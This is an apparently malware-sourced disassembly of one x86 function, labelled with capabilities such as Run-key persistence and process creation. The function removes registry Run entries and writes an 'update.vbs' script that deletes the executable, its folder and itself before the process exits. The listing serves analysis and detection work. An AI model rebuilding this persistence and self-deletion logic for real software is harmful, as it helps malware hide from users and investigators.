Function at 0x40d229
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.00412659
cmp dword [0x474124], 0
je 0x40d24b
mov ecx, 0x4740d8
call fcn.0040b721
xor ebx, ebx
inc ebx
cmp byte [0x471d63], bl
jne 0x40d25b
call fcn.00419529
cmp byte [0x471a85], 0
je 0x40d275
mov ecx, 0x473d4c
call fcn.00401f04
mov ecx, eax
call fcn.0041bd26
mov esi, 0x4742a8
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x471b33], bl
jne 0x40d29c
mov ecx, esi
call fcn.00401f04
push eax
mov edx, edi
mov ecx, closesocket
call fcn.004135d1
pop ecx
mov ebp, closesocket
cmp byte [0x471b30], bl
jne 0x40d2bb
mov ecx, esi
call fcn.00401f04
push eax
mov edx, edi
mov ecx, ebp
call fcn.004135d1
pop ecx
cmp byte [0x471b31], bl
jne 0x40d2d8
mov ecx, esi
call fcn.00401f04
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.004135d1
pop ecx
mov esi, 0x474320
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0x4742d8
push str.exepath
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.004132a6
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d32c
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00401fab
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
mov ebx, eax
mov ebp, 0x46b928
neg ebx
mov edx, ebp
mov ecx, 0x4742f0
sbb bl, bl
and bl, 1
call fcn.004076de
test al, al
je 0x40d384
push 0x80
mov ecx, 0x4742f0
call fcn.00401f04
push eax
call esi
push str.update.vbs
push 0x465f70
call fcn.0043ba8f
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00403014
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401f09
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.0040417e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.004042fc
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401f09
test bl, bl
je 0x40d435
push 0x466018
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.0040417e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.004042fc
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x28]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x58]
call fcn.00401f09
mov esi, 0x466050
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x28]
call fcn.00401f09
test bl, bl
je 0x40d4a0
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.00408f79
mov ebx, 0x4742f0
mov edx, ebp
mov ecx, ebx
call fcn.004076de
test al, al
je 0x40d4eb
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.0040b7f1
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
push 0x466118
push 0x46611c
lea ecx, [esp + 0xa8]
call fcn.0040417e
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.0040431d
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x28]
call fcn.00401f09
lea ecx, [esp + 0x88]
call fcn.00401f09
lea ecx, [esp + 0xa0]
call fcn.00401f09
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.00408f79
push edi
lea ecx, [esp + 0x74]
call fcn.00401f04
push eax
lea ecx, [esp + 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041be86
pop ecx
pop ecx
test al, al
je 0x40d5df
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401f04
push eax
push 0x4650f8
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d5df
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x70]
call fcn.00401f09
lea ecx, [esp + 0x2c8]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret